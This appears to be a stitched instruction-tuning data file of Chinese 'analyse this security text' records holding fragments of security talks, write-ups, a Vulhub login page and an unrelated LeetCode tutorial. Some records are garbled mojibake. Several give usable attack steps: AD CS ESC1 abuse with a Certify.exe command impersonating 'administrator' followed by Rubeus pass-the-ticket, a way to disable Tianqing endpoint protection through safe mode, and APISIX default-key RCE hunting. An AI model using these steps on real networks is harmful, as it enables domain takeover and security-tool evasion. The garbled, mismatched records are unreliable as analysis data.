BRANDS ISSUER MERCHANT MERCHANT Background CARD RISK BY OPERATION TYPE Chip & PIN Chip & Signature Contactless Swiped PAN Key Entry Background EMV enabled POS devices make up between 90-95% of POS population E U E M V AC C E P TA N C E EMV enabled POS devices make up 13% of POS population and 9% of the ATM population 90% 13% U S E M V AC C E P TA N C E GLOBAL ADOPTION OF EMV - POS TERMINALS Background Around 96% of credit cards in circulation support EMV as a protocol E M V C R E D I T C AR D AD O P T I O N However less than half of all transactions are made by chip E M V C R E D I T C AR D U S AG E 96% 41% Background 79% of debit cards in circulation support EMV as a protocol E M V D E B I T C AR D AD O P T I O N However less than half of all transactions are made using chip E M V D E B I T C AR D U S AG E 79% 23% Background 46% 52 MILLIO N PERCENTAGE OF TRANSACTIONS MILLIONS OF NUMBER OF UNITS MPOS TIMELINE Background 46% 52 SCHEMATIC OVERVIEW OF COMPONENTS Background VULNERABILITIES SENDING ARBITRARY COMMANDS AMOUNT MODIFICATION REMOTE CODE EXECUTION HARDWARE OBSERVATIONS SECONDARY FACTORS Methods & Tools BLUETOOTH Methods & Tools Host Controller Interface (HCI) SOFTWARE BT PROFILES, GATT/ATT L2CAP LINK MANAGER PROTOCOL (LMP) BASEBAND BLUETOOTH", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n性质 机器名 IP OS 域控 ADDC.apple.me 192.168.10.200 Microsoft Windows Server 2012 R2 Datacenter 6.3.9600 暂缺 Build 9600 x64 证书 服务 CA.apple.me 192.168.10.202 Microsoft Windows Server 2012 R2 Datacenter 6.3.9600 暂缺 Build 9600 x64 域内 主机 Win7- PC.apple.me 192.168.10.210 Microsoft Windows 7 Ultimate 6.1.7601 Service Pack 1 Build 7601 x64 ESC1 的补充利用 测试环境说明 以域内主机普通域用户admin权限跳板 方法一certmgr.msc 运行-certmgr.msc-操作-所有任务-申请新证书 选择漏洞模版本文为 ESC1再配置 UPN. 最后导出证书 右键证书-所有任务- 导出私钥. 选择个人信息交换 成功导出证书最后使用 Rubeus 进行 ptt 方法二Certify.exe 利用起来就很简单了Certify.exe 能搞定 Certify.exe request /ca:\"CA.apple.me\\apple-CA-CA\" /template:ESC1 /altname:administrator 工具利用失败查看 Github 上的 Issues发现了解决方案 修改 CreateCertRequestMessage() 如下代码 修改 CreatePrivateKey() 编译重新运行 CX509CertificateRequestPkcs10 objPkcs10 = new CX509CertificateRequestPkcs10(); 改成 IX509CertificateRequestPkcs10 objPkcs10 = (IX509CertificateRequestPkcs10)Activator.CreateInstance(Type.GetTypeFromProgID(\" X509Enrollment.CX509CertificateRequestPkcs10\")); 注释掉 format 2 的代码(注释掉代码多多少少都有些不合适) private static IX509PrivateKey CreatePrivateKey(bool machineContext) { var cspInfo = new CCspInformations(); cspInfo.AddAvailableCsps(); var privateKey = (IX509PrivateKey)Activator.CreateInstance(Type.GetTypeFromProgID(\"X509Enrollment .CX509PrivateKey\")); privateKey.Length = 2048; privateKey.KeySpec = X509KeySpec.XCN_AT_SIGNATURE; privateKey.KeyUsage = X509PrivateKeyUsageFlags.XCN_NCRYPT_ALLOW_ALL_USAGES; privateKey.MachineContext = machineContext; privateKey.ExportPolicy = X509PrivateKeyExportFlags.XCN_NCRYPT_ALLOW_EXPORT_FLAG; privateKey.CspInformations = cspInfo; privateKey.Create(); return privateKey; } 将获取到的内容保存为 cert.pem 再使用 openssl 将得到的 cert.pem 进行转换 使用 Rubeus 进行 ptt效果如方法一一样 openssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nLEARN HOW TO CONTROL EVERY ROOM AT A LUXURY HOTEL REMOTELY: THE DANGERS OF INSECURE HOME AUTOMATION DEPLOYMENT Jesus Molina @verifythentrust security@nomeames.com 1 Abstract The St. Regis ShenZhen, a gorgeous luxury hotel occupying the top 28 floors of a 100 story skyscraper, oers guests a unique feature: a room remote control in the form of an iPad2. The iPad2 controls the lighting, temperature, music, do not disturb light, TV, even the blinds and other miscellaneous room actions. However, the deployment of the home automation protocol contained several fatal flaws that allowed an arbitrary attacker to control virtually every appliance in the hotel remotely. I discovered these flaws and, as a result, was able to create the ultimate remote control. The attacker does not even need to be in the hotel - he could be in another country. This white paper discusses home automation and the anatomy of the attack: an explanation of reverse engineering of the KNX/IP home automation protocol; a description of the deployment flaws; blueprints on how to create an iPad Trojan to send commands outside the hotel; and, of course, solutions to avoid all these pitfalls in future deployments. 2 Introduction In Hollywood movies, cyberattacks end with shocking results that stun the audiences and ruin the movie for security researchers. Traffic halts in LA as Seth Green switches all lights to red in the Italian Job. The bad guy in Jurassic Park shuts down the electrical fences and the dinosaurs roam free. These epic attacks sound whimsical, but nowadays appear closer than ever with the advent of what people call the Internet of Things (IoT), a vision where every single electronic device is networked. 1 Figure 1: The view But if there was any doubt, imagine this scene in a James Bond movie. The bad guy and his minions guard the bomb detonator in a hotel suite. Time is running out, and Bond cannot access the room and fight the guards. All seems lost. Suddenly, his cell rings, and after grabbing it ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n Defcon Safe Mode // Aug 2020 Detecting Fake 4G Base Stations in Real Time Cooper Quintin - Senior Security Researcher - EFF Threat Lab Defcon Safe Mode With Networking 2020 Defcon Safe Mode // Aug 2020 Intro Cooper Quintin Senior security researcher Has a toddler (dad jokes) Former teenage phone phreak EFF Member supported non profit Defending civil liberties 30 years Threat lab Defcon Safe Mode // Aug 2020 Yomna! None of this research would have been possible without her hard work. This is as much her project as mine. Twitter: @rival_elf Actual photo of Yomna Defcon Safe Mode // Aug 2020 Technology that Targets At Risk People Activists, human rights defenders, journalists, domestic abuse victims, immigrants, sex workers, minority groups, political dissidents, etc Goals of this technology Gather intelligence on opposition Spy extraterritorially or illegally Locate and capture Extortion Harass and intimidate Stifle freedom of expression Defcon Safe Mode // Aug 2020 Jeff Bezos Can Afford a Security Team Cybersecurity and AV companies care about the types of malware that affects their customers (usually enterprise.) We get to care about the types of technology the infringe on civil liberties and human rights of at risk people. This guy is not at risk. Defcon Safe Mode // Aug 2020 Our Goals Protect people Broaden our communities` understanding of threats and defenses Expose bad actors Make better laws Defcon Safe Mode // Aug 2020 Previous Project Dark Caracal Stalkerware Defcon Safe Mode // Aug 2020 What We are Going to Talk About Today Cell-site simulators AKA Stingrays or IMSI Catchers How they work Previous efforts to detect them A new method to detect them How to fix the problem <", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n43 43 00205! w 7 ! 日程 1SQZPM w uu o o 2LC1Om ==5m53mQ>[PQ2 1MOTBQ]aQ_1MOTBQVQO d->Qc[WRMUXaQ d D44B1>4 HB5CmmmB1>4mHB5Cl E=DCk9m3m1ED>mB1>4mHB5Cl 6Q[3QXXo 9CQOF> 6Q[3QXXCQ7G 6Q[3QXX==5C7C> 7BH9Ho 7D3 6Q[3QXX 6Q[3QXXkl xo 7C=o8>2 D4C34=1o8>2&&8> D41>46XM_T DC() :D176Q[3QXX x E1BD6Q[3QXX >1>46XM_T 6UcMQ o oC9= & B[[6Q[3QXX DB)o7QZUQ13CQZ13C Øq6UcMQ6UcMQ Øq 941[ QZ34 2UZcMXW k9m3m1ED>mB1>4mHB5Clk M_Qm1ED>mB1>4mHB5Cl o 6Q[3QXX 6Q[3QXXk8Q>27Gl 6Q[3QXX511151C9= 9CQO 6Q[3QXXqkl mC7C>==5 6Q[3QXX 6Q[3QXXqs x~C9=m_[ZSCcMZ EC9=m3C3 v 7BHo7BHB[MUZS5dOTMZSQ 9Ho95dOTMZSQ 7BH9Hxwm 7BH 1F CC-CQZP1aT9ZR[CQZP9PQZURUOMU[Z 7BH-C7C>3[ZQdBQ]aQ_ 9H4UMQQ-1aTQZUOMU[Z9ZR[MU[ZBQ]aQ_ 9QPUMQBQ_[Z_QQRQQP q7BH GTP echo request: 7BHi 77C>kl GTP echo response: 7BHi 77C>kl 7BHi t77C> 7BHi C7C> t77C> C7C>3[ZQdBQ]aQ_m1F t==5 7BHo77C>==5m r7BH[[m m7BH 4UMQQ k9CQODFQO[--/.1FTQMPQ-(0 J9Q>aNQK fB1>4g ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAmateur Digital Archeology Matt Joyce \"In the streets of Hau-kai, we wait Night comes, winter descends The lights of the world grow cold And, in this three-hundredth year From the ascendancy of Bilat He will come who treads the dawn Tramples the sun beneath his feet And judges the souls of men He will stride across the rooftops, And he will fire the engines of God. - The Engines of God, Jack McDevitt http://pgsc.space/ Hacker is just another word for amateur. Three young IS militants lie dead on the banks of the River Tigris. What if the story stopped there? Quentin Sommerville, Riam Dalati for BBC News They left behind personal photos and documents which reveal the extraordinary story of their private lives. This is a great example of how digital forensics can help produce valuable primary and secondary sources. http://www.bbc.co.uk/news/resources/idt-sh/is_fighters US National Archive / History in the Raw Documents--diaries, letters, drawings, and memoirs--created by those who participated in or witnessed the events of the past tell us something that even the best-written article or book cannot convey. The use of primary sources exposes students to important historical concepts. First, students become aware that all written history reflects an author's interpretation of past events. Therefore, as students read a historical account, they can recognize its subjective nature. Second, through primary sources the students directly touch the lives of people in the past. Further, as students use primary sources, they develop important analytical skills. Adam at NYC Resistor has this to say about siphoning the brains out of EEPROMs. Step zero: Find a board with a brain. -phooky Concerning amateur archeology Part of being an amateur is recognizing your limitations. Part of being an amateur is being dumb enough not to. Some of you are going to be thinking this during this talk. This is Def Con. We are way more Lando Calrissian, than we are Professor Jones. The National Air a", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# TheTarget * Category: Misc. * 100 Points * Solved by the JCTF Team ## Description > EZ-PZ-LEMON-SQUIZZY A file was attached. ## Solution Let's check the attached file: ```console root@kali:/media/sf_CTFs/bsidestlv/TheTarget/TheTarget# file TheTarget TheTarget: Extensible storage engine DataBase, version 0x620, checksum 0xbb95e8e9, page size 8192, Windows version 6.3 ``` It's a 75MB [ESE DB](https://en.wikipedia.org/wiki/Extensible_Storage_Engine). We can use [libesedb](https://github.com/libyal/libesedb) to work with it. We just need to download the latest version from github, and call `./configure` and `make` to built it from sources. (On Windows, we can use [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)). First, we can check what are the tables contained within the DB: ```console root@kali:/media/sf_CTFs/bsidestlv/TheTarget/TheTarget# ./libesedb-20200418/esedbtools/esedbinfo TheTarget | grep \"Table: \" Table: 1 MSysObjects (2) Table: 2 MSysObjectsShadow (3) Table: 3 MSysObjids (6) Table: 4 MSysLocales (7) Table: 5 datatable (8) Table: 6 hiddentable (185) Table: 7 link_history_table (186) Table: 8 link_table (194) Table: 9 quota_rebuild_progress_table (207) Table: 10 quota_table (208) Table: 11 sdpropcounttable (209) Table: 12 sdproptable (210) Table: 13 sd_table (214) ``` `datatable` sounds the most interesting, so let's dump it: ```console root@kali:/media/sf_CTFs/bsidestlv/TheTarget/TheTarget# ./libesedb-20200418/esedbtools/esedbexport -T datatable TheTarget esedbexport 20200418 Opening file. Database type: Unknown. Exporting table 5 (datatable). Export completed. ``` Now we just search for the flag format: ```console root@kali:/media/sf_CTFs/bsidestlv/TheTarget/TheTarget/TheTarget.export# sed 's/\\x09/\\x00/g' datatable.4 | strings | egrep -i \"BSidesTLV(2020)?{\" BSIDESTLV2020{ThisGoesDeeper} ``` (Note: For some reason, the export uses `0x09` as a filler character, we replace it with `0x00` for convenience).", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2 SLIDE about me some call me a one trick pony, others call me passionate mad scientist hacker who likes to meddle with hardware and software. particularly obsessed with wireless. degree in computer science from Southern Utah University loves include: web application pentesting wireless monitoring and tracking reverse engineering creator of the #WiFiCactus Kismet cultist Runner 3 SLIDE history background Wardriving got popular in the early 2000s as a way for people to find open networks to piggyback on [1]. Equipment was pretty expensive and limited. 2000 The number of devices that are connected over wireless has increased exponentially since the early 2000s and make Wardriving, Netstumbling and Wireless Monitoring more exciting than ever. 2015 Warwalking with a single-board computer in my backpack for Defcon 23. Collected data on 2 channels at a time. Backpack Test Project 2016 Planted 12 monitoring boxes around the conference for Defcon 24. 48 total wireless radios scanning at the same time. Project Lana 2017+ 25 Hak5 Pineapple Tetras that cover 50 total channels in 2.4 and 5 GHz. Over 3 hours of battery life. Weighs ~35 lbs. #WiFiCactus [1] https://en.wikipedia.org/wiki/Wardriving 4 SLIDE WiFiCactus but why though? Understand the FUD Nearly every person has heard that DEFCONs network is the most dangerous in the world. I wanted to know why and how it is so dangerous. Understanding is the first step to protecting yourself. The Connected World Everything is connected now and usually with more than 1 radio. This makes for amazing data. Whether its your phones mobile hotspot to the SMART THINGS (IoT) need to be connected and we gotta catch them all! Verify Then Trust Do you trust that security, software and APIs are being done correctly when communicating over a network? Do you know if your favorite app uses encryption? By scanning yourself you can verify how secure things are. 5 SLIDE data captured got data? 0 200 400 600 800 1000 1200 2015 2016 2017 2018-", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDmitry Kurbatov Sergey Puzankov Vladimir Kropotov Fractured Backbones Incidents Detection and Forensics in Telco Networks ptsecurity.com About us Joint research of Incident Response and Telco Security Teams Introduction Technologies behind telco networks Чем мы пользуемся сегодня и на основе каких технологий это работает Types of Incidents Subscriber location tracking Call interception (wiretapping) SMS interception and spoofing DoS, including balance DoS Other Fraudulent activities Phone number +7 777 5555555 GPS location Incidents statistics. Major threats Service Disruption Data Leakage Fraud Percentage of vulnerable networks Incidents statistics. Data leakage Subscribers Balance Disclosure Terminating SMS Interception Subscriber Location Discovery Voice Call Interception Subscribers Data Leakage Percentage of vulnerable networks Incidents statistics. Fraud Terminating Call Redirection Money Transfer via USSD Subscriber Profile Change Originating Call Redirection Percentage of vulnerable networks Incident victims Mobile operator subscribers Mobile operator Other Mobile operators and their subscribers Third parties (often Banks and Their clients) Prerequisites of attacks Internal intruder or Staff initiated attacks Level0 (almost) Kiddies - attacks that not require deep technical knowledge SMS fraud as preliminary stage of malware based attacks Fraud with social engineering (direct target is victim) Proxified fraud with social engineering Level1(Locally initiated) - attacks that require technical knowledge about Radio Access Network protocols IMSI Catcher Bluetooth Calls and SMS from the subscriber located nearby Level2 (Global impact) - attacks that require technical knowledge about telco infrastructure and protocols Lightweight scenarios (Level0) Kiddies fraud examples Typosquatting works well even here http://journal.tinkoff.ru/declined/ Not legit Legit You received 30000 RUB, please follow the link for confirmation Purchase. Card *1234. Ammount 60", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n强杯 WriteUp By Nu1L AuthorNu1L Team 强杯 WriteUp By Nu1L Pwn yakagame easychain1 house of cat Reverse find_basic easyre deeprev GameMaster easyapk Web uploadpro babyweb easylogin easyweb crash Crypto Factor myJWT Lattice Misc 谍影重重 强先锋 rcefile polydiv devnull WP-UM AVR Pwn yakagame llvm void a000(int a); void a001(int a); void a002(int a); void a003(int a); void a004(int a); void a005(int a); void a006(int a); void a007(int a); void a008(int a); void a009(int a); void a010(int a); void a011(int a); void a012(int a); void a013(int a); void a014(int a); void a015(int a); void a016(int a); void a017(int a); void a018(int a); void a019(int a); void a020(int a); void a021(int a); void a022(int a); void a023(int a); void a024(int a); void a025(int a); void a026(int a); void a027(int a); void a028(int a); void a029(int a); void a030(int a); void a031(int a); void a032(int a); void a033(int a); void a034(int a); void a035(int a); void a036(int a); void a037(int a); void a038(int a); void a039(int a); void a040(int a); void a041(int a); void a042(int a); void a043(int a); void a044(int a); void a045(int a); void a046(int a); void a047(int a); void a048(int a); void a049(int a); void a050(int a); void a051(int a); void a052(int a); void a053(int a); void a054(int a); void a055(int a); void a056(int a); void a057(int a); void a058(int a); void a059(int a); void a060(int a); void a061(int a); void a062(int a); void a063(int a); void a064(int a); void a065(int a); void a066(int a); void a067(int a); void a068(int a); void a069(int a); void a070(int a); void a071(int a); void a072(int a); void a073(int a); void a074(int a); void a075(int a); void a076(int a); void a077(int a); void a078(int a); void a079(int a); void a080(int a); void a081(int a); void a082(int a); void a083(int a); void a084(int a); void a085(int a); void a086(int a); void a087(int a); void a088(int a); void a089(int a); void a090(int a); void a091(int a); void a092(int a); void a093(int a); void a094(int a); void a", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHVV 之不需要密码永久退出 LM 天擎 1. 又要到护网了,还记得去年护网客户问我天擎退出密码是多少,说想安装软件 安装不上去 2. 我心想,好家伙,这谁家的软件这么流氓 3. 不需要逆向这么麻烦的方法其实很简单重启之后进入安全模式这个时 候天擎是没有启动的 4. 然后进入天擎的安装目录,这个时候天擎的安装目录名称是 Tianqing 5. 然后把目录修改成 Tianqing6666 6. 最后重启进入正常模式,因为目录名字变了,天擎的自启动也就失效了. 7. 如果后面用到的时候手动启动 TQSafeUI.exe 就可以了", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nEXTENSION-LAND EXPLOITS AND ROOTKITS IN YOUR BROWSER EXTENSIONS BARAK STERNBERG // DEFCON 2021 ABOUT ME Barak Sternberg (@livingbeef) Senior Security Researcher, Previously Author @ SentinelOne Labs. Hacking smart-devices for fun and profit // DC28 IoT Village. BSc & MSC in CS on algorithms (bioinfo) from TAU. Focus from vulnerability-research (IoT, embedded devices, Linux and web apps) to analyze malwares in the wild. DJ & Party Lover (mixcloud.com/barak-sternberg) MOTIVATION More than 2 million extensions in webstores - attackers develop malicious ones & exploit. Why Extensions? More permissions (easy uXSS to any origin) Controlling you entire browser & more Cross-platform works on any desktop/OS Easier to develop JS-malware SYLLABUS 1. Intro to chrome-extensions 2. Extensions communication 3. Exploiting Zotero - Jumping from one chrome-app to chrome-extension. 4. Exploiting Vimium from PRNGs to uXSS. 5. Developing & Implanting an \"Extension- Rootkit 6. Implanting a rootkit inside \"good\" extensions EXTENSIONS ANATOMY THE BASICS Content-Scripts Extensions frontend: Loaded inside matching sites (sites extension works for). Runs in a special VM context (its own vars and private-world). Accessible to site DOM. Background-Scripts Extensions Backend: Run once in a special dedicated process. Access to more APIs. Persistent non-site dependent. Extension-Dir - %LocalAppData%\\Google\\Chrome\\User Data\\Default\\Extensions\\EXTENSION_ID\\ Extension-Manifest - Manifest.json (the manifest.xml of extensions) Extension-Signature - Gets verified & checked at run-time. MANIFEST ANATOMY 1 2 3 COMMUNICATING IN EXTENSION-LAND For Example, lets say we go to https://google.com For every extension the following interactions are created. *Picture Credit for Attacking Browser Extensions // Nicolas Golubovic CONTENT-SCRIPTS? Example: Ad-Blocker wants to remove ad-iframes from your page. How? It inspects the dom and remove them. Example code: Let el = document.q", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSecure Tokin & Doobiekeys: How to roll your own counterfeit hardware security devices @sercurelyfitz, @r00tkillah $whoami Michael* (@r00tkillah) has done hard-time in real-time. An old-school computer engineer by education, he spends his days championing product security for a large semiconductor company. Previously, he developed and tested embedded hardware and software, dicked around with strap-on boot roms, mobile apps, office suites, and written some secure software. On nights and weekends he hacks on electronics, writes Troopers CFPs, and contributes to the NSA Playset. * Opinions expressed are solely my own and do not express the views or opinions of my employer. Lectrical Nginear by education 10+ years of fun with hardware silicon debug security research pen testing of CPUs security training Applied Physical Attacks Training: X86 Systems Embedded Systems Hardware Pentesting Own white shoes full of LEDs whoami? Joe FitzPatrick @securelyfitz joefitz@securinghardware.com Wouldnt it be cool if... We had a magical device that Encrypted things for us Authenticated things for us Authenticated us to others Solved all our insecurities Wouldnt it be cool if... That magical device Fit in the palm of our hand Was easy to use Only cost a few bucks Wouldnt it be lame if... This turned into a sales pitch for hardware security devices? These are all improvements... But theyre not magic. Classic Hardware Threat Modeling Common attackers: Evil maid Supply chain and End user Common vectors: external ports internal pins counterfeit chips intrusive techniques Dont attack the standard. Attack the implementation.* *Does not refer to the hardware implementation Refers to the use cases and common scenarios RSA Securid Token First, whats the real easiest way in? an extremely sophisticated cyber attack Hardware can be hard. Hardened Hardware is Harder ? Common Assumptions: The computer may be pwnd, but the token is separate The master key inside the chip is", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n0x01 前 如有技术交流或渗透测试/代码审计/SRC漏洞挖掘/红队向综合培训 或 红蓝对抗评估/安全产品研发/安全服务需 求的朋友 欢迎联系QQ/VX 547006660 https://github.com/J0o1ey/BountyHunterInChina 重之我是赏猎系列欢迎家点个star 0x02 缘起 早上打开微信聊群偶然间发现新上了家SRC 新上的SRC般都是细嫩的处未经万骑得也更加容易我们来探究竟 0x03 资产搜集到默认秘钥被改 穷尽 简单标的cert信息收集了下络空间的资产 发现了标不少的域名都采短横线命名法般来说这种命名法便于分辨开发测试产环境还是蛮 多的 Wri t t en by J 0o1ey: 547006660 总结了下常的开发测试产环境域名中常词如下 随后从资产列表中找到了个看起来像管理api接的域名进访问 根据回显结合之前多年的测试经验推断此处使了Apache Apisix 之前复现过Apache Apisix默认秘钥添加恶意路由导致的RCE漏洞此处直接准备试 发现直接寄了标产环境的api把这个默认的key给改掉了导致没法创建恶意路由 uat test dev pre pr pro ... Wri t t en by J 0o1ey: 547006660 难道就这样结束了那显然不符合我们的格 0x04 理顺思路-发现隐藏的测试环境资产 刚刚我们在进资产搜集时已经发现了标域名的统命名特点 那么我们完全可以借助FUZZ域名来搞出点花尝试发掘隐藏资产 最终成功发现按照标的标的四处产环境的隐藏资产 ./ffuf -w domain_test -u https://gateway-xxx-xxx-FUZZ.xxx.com -mc 404 -t 1 Wri t t en by J 0o1ey: 547006660 0x05 测试环境默认key的原罪到RCE 随后在下四个隐藏域尝试默认key添加恶意lua路由发现均成功 添加恶意路由后就是平川直捣了 Wri t t en by J 0o1ey: 547006660 标是运在k8s上的掐指算应该是测试环境了默认key的镜像运维也没做修改导致了RCE的锅 交完四处命令执奖励晚上吃鸡蛋肠粉加根肠 0x06 技术点总结 结合标域名命名特点发现隐藏的开发测试环境资产 完成新突破 Wri t t en by J 0o1ey: 547006660", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nINTERSTATE: A Stateful Protocol Fuzzer for SIP Thoulfekar Alrahem, Alex Chen, Nick DiGiussepe, Jefferey Gee, ShangPin Hsiao, Sean Mattox, Taejoon Park, Albert Tam, Ian G. Harris Department of Computer Science University of California Irvine Irvine, CA 92697 USA harris@ics.uci.edu Marcel Carlsson Fortconsult Tranevej 1618 2400 Copenhagen NV Denmark mc@fortconsult.net Fuzzing Basics INVITE sip:marXXXXXXXXXXXXXXXXXXXXXXXXXXconi@radio.org SIP/2.0 Via: SIP/2.0/UDP lab.test.org:5060;branch=ziuh2w Max-Forwards: 70 To: G. Marconi From: Nikola Tesla ;tag=98767 Call-ID: 123456789@lab.test.org Cseq: 1 INVITE Transmit a sequence of messages to a server, attempting to break it Apply fuzzing functions to message fields to reveal vulnerabilities Typical Fuzzing Functions Buffer Overflow - Make a field very long to force buffer overflow Command Injection - Insert shell metacharacters to see if string is passed to a shell SQL Injection - Insert SQL reserved word to see if string is used to build an SQL query Session Initiation Protocol (SIP) SIP Client SIP Server INVITE 180 Ringing 200 OK ACK BYE 200 OK MEDIA SESSION 100 Trying Used to start, end, and modify communication sessions between VOIP phones SIP does not transfer media (audio/video) User Agent Client (UAC) - Initiates call - Sends Request Messages User Agent Server (UAS) - Receives call requests - Send Response Messages We do not consider other SIP entities, proxies, registrar servers, etc. We are fuzzing the UAS, fuzzer is a client Previous Work, SIP Fuzzers SNOOZE Fuzzer SNOOZE: toward a Stateful NetwOrk prOtocol fuzZEr, G. Banks, M. Cova, V. Felmetsger, K. Almeroth, R. Kemmerer, G. Vigna, Information Security Conference, 2006 Protocol state machine is used, XML-based description Fuzzing scenario defines message sequence, what to fields to fuzz, what fuzzing primitives to use Fuzzing scenarios must be developed manually Previous Work, SIP Fuzzers PROTOS Suite Free version: htt", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ntimes === 显示进程累计时间 ## 主要用途 - 打印出shell及其子进程累计使用的用户时间和系统时间 ## 返回值 总是返回成功 ## 例子 ```shell # 执行命令 times # 返回结果 0m0.037s 0m0.009s 0m0.010s 0m0.024s # 根据times(2)的man手册对应关系如下 # 用户时间 | 系统时间 # 子进程的用户时间 | 子进程的系统时间 ``` ### 注意 1. 该命令是bash内建命令相关的帮助信息请查看`help`命令", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBrowser Based Defenses - (c) 2010 All Rights Reserved 1 Browser Based Defenses Introducing x06d james@bluenotch.com Browser Based Defenses - (c) 2010 All Rights Reserved 2 The Problem: Re-Anonymizing You! Overall State of the Web Client/Browser issues Hard to make public browsers secure at least enough to keep the public safe Server landscape Many layers to secure Portions of a served app tend to be clients of another site (see above) Well put by RSnake and Jabras in De-Anonymizing You! (DEF CON 17) x06p is POC for a Browser Based Defense Goal : buy time for 6 days of pseudo protection Browser Based Defenses - (c) 2010 All Rights Reserved 3 Defending Technique: SARS! Sanitize input to the Browser Detect interesting code into the browser Allow control of server content (ala noscript for Rebinding to a Public IP 1.4.1.4 2.3.5.8 GET / HTTP/1.1 Host: attacker.com Rebinding to a Public IP 1.4.1.4 2.3.5.8 TCP RST Rebinding to a Public IP 1.4.1.4 2.3.5.8 GET / HTTP/1.1 Host: attacker.com Rebinding to a Public IP 1.4.1.4 2.3.5.8 Rebinding to a Private IP 1.4.1.4 Target IP: 192.168.1.1 Attacker IP: 1.4.1.4 Attacker Domain: attacker.com 192.168.1.1 Rebinding to a Private IP 1.4.1.4 What is the IP address for attacker.com? 192.168.1.1 Rebinding to a Private IP 1.4.1.4 1.4.1.4 192.168.1.1 192.168.1.1 Rebinding to a Private IP 1.4.1.4 GET / HTTP/1.1 Host: attacker.com 192.168.1.1 Rebinding to a Private IP 1.4.1.4 192.168.1.1 Services Bound to All Interfaces # netstat l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:80 *:* LISTEN tcp 0 0 *:53 *:* LISTEN tcp 0 0 *:22 *:* LISTEN tcp 0 0", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n Getting Started: Serving Web Content

Here are a few sample accounts to play with from the text-based Realm

Username Password Roles
admin vulhub admin

Login

* [Leetcode 题解 - 动态规划](#leetcode-题解---动态规划) * [斐波那契数列](#斐波那契数列) * [1. 爬楼梯](#1-爬楼梯) * [2. 强盗抢劫](#2-强盗抢劫) * [3. 强盗在环形街区抢劫](#3-强盗在环形街区抢劫) * [4. 信件错排](#4-信件错排) * [5. 母牛生产](#5-母牛生产) * [矩阵路径](#矩阵路径) * [1. 矩阵的最小路径和](#1-矩阵的最小路径和) * [2. 矩阵的总路径数](#2-矩阵的总路径数) * [数组区间](#数组区间) * [1. 数组区间和](#1-数组区间和) * [2. 数组中等差递增子区间的个数](#2-数组中等差递增子区间的个数) * [分割整数](#分割整数) * [1. 分割整数的最大乘积](#1-分割整数的最大乘积) * [2. 按平方数来分割整数](#2-按平方数来分割整数) * [3. 分割整数构成字母字符串](#3-分割整数构成字母字符串) * [最长递增子序列](#最长递增子序列) * [1. 最长递增子序列](#1-最长递增子序列) * [2. 一组整数对能够构成的最长链](#2-一组整数对能够构成的最长链) * [3. 最长摆动子序列](#3-最长摆动子序列) * [最长公共子序列](#最长公共子序列) * [1. 最长公共子序列](#1-最长公共子序列) * [0-1 背包](#0-1-背包) * [1. 划分数组为和相等的两部分](#1-划分数组为和相等的两部分) * [2. 改变一组数的正负号使得它们的和为一给定数](#2-改变一组数的正负号使得它们的和为一给定数) * [3. 01 字符构成最多的字符串](#3-01-字符构成最多的字符串) * [4. 找零钱的最少硬币数](#4-找零钱的最少硬币数) * [5. 找零钱的硬币数组合](#5-找零钱的硬币数组合) * [6. 字符串按单词列表分割](#6-字符串按单词列表分割) * [7. 组合总和](#7-组合总和) * [股票交易](#股票交易) * [1. 需要冷却期的股票交易](#1-需要冷却期的股票交易) * [2. 需要交易费用的股票交易](#2-需要交易费用的股票交易) * [3. 只能进行两次的股票交易](#3-只能进行两次的股票交易) * [4. 只能进行 k 次的股票交易](#4-只能进行-k-次的股票交易) * [字符串编辑](#字符串编辑) * [1. 删除两个字符串的字符使它们相等](#1-删除两个字符串的字符使它们相等) * [2. 编辑距离](#2-编辑距离) * [3. 复制粘贴字符](#3-复制粘贴字符) 递归和动态规划都是将原问题拆成多个子问题然后求解他们之间最本质的区别是动态规划保存了子问题的解避免重复计算 ## 斐波那契数列 ### 1. 爬楼梯 70\\. Climbing Stairs (Easy) [Leetcode](https://leetcode.com/problems/climbing-stairs/description/) / [力扣](https://leetcode-cn.com/problems/climbing-stairs/description/) 题目描述有 N 阶楼梯每次可以上一阶或者两阶求有多少种上楼梯的方法 定义一个数组 dp 存储上楼梯的方法数为了方便讨论数组下标从 1 开始dp[i] 表示走到第 i 个楼梯的方法数目 第 i 个楼梯可以从第 i-1 和 i-2 个楼梯再走一步到达走到第 i 个楼梯的方法数为走到第 i-1 和第 i-2 